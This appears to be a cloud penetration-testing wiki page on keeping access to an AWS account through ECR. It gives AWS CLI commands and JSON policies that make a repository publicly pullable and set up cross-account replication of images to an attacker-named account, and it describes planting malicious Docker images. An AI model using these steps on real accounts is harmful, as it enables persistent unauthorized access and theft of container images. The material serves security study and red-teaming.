AWS - ECR Persistence

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ECR

For more information check:

Hidden Docker Image with Malicious Code

An attacker could upload a Docker image containing malicious code to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.

Repository Policy

Add a policy to a single repository granting yourself (or everybody) access to a repository:

aws ecr set-repository-policy \
    --repository-name cluster-autoscaler \
    --policy-text file:///tmp/my-policy.json

# With a .json such as

{
    "Version" : "2008-10-17",
    "Statement" : [
        {
            "Sid" : "allow public pull",
            "Effect" : "Allow",
            "Principal" : "*",
            "Action" : [
                "ecr:BatchCheckLayerAvailability",
                "ecr:BatchGetImage",
                "ecr:GetDownloadUrlForLayer"
            ]
        }
    ]
}

Note that ECR requires that users have permission to make calls to the ecr:GetAuthorizationToken API through an IAM policy before they can authenticate to a registry and push or pull any images from any Amazon ECR repository.

Registry Policy & Cross-account Replication

It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to indicate the external account there you want to replicate the registry.

First, you need to give the external account access over the registry with a registry policy like:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
  "Sid": "asdasd",
  "Effect": "Allow",
  "Principal": {
    "AWS": "arn:aws:iam::947247140022:root"
  },
  "Action": [
    "ecr:CreateRepository",
    "ecr:ReplicateImage"
  ],
  "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Then apply the replication config:

aws ecr put-replication-configuration \
     --replication-configuration file://replication-settings.json \
     --region us-west-2

# Having the .json a content such as:
{
	"rules": [{
		"destinations": [{
			"region": "destination_region",
			"registryId": "destination_accountId"
		}],
		"repositoryFilters": [{
			"filter": "repository_prefix_name",
			"filterType": "PREFIX_MATCH"
		}]
	}]
}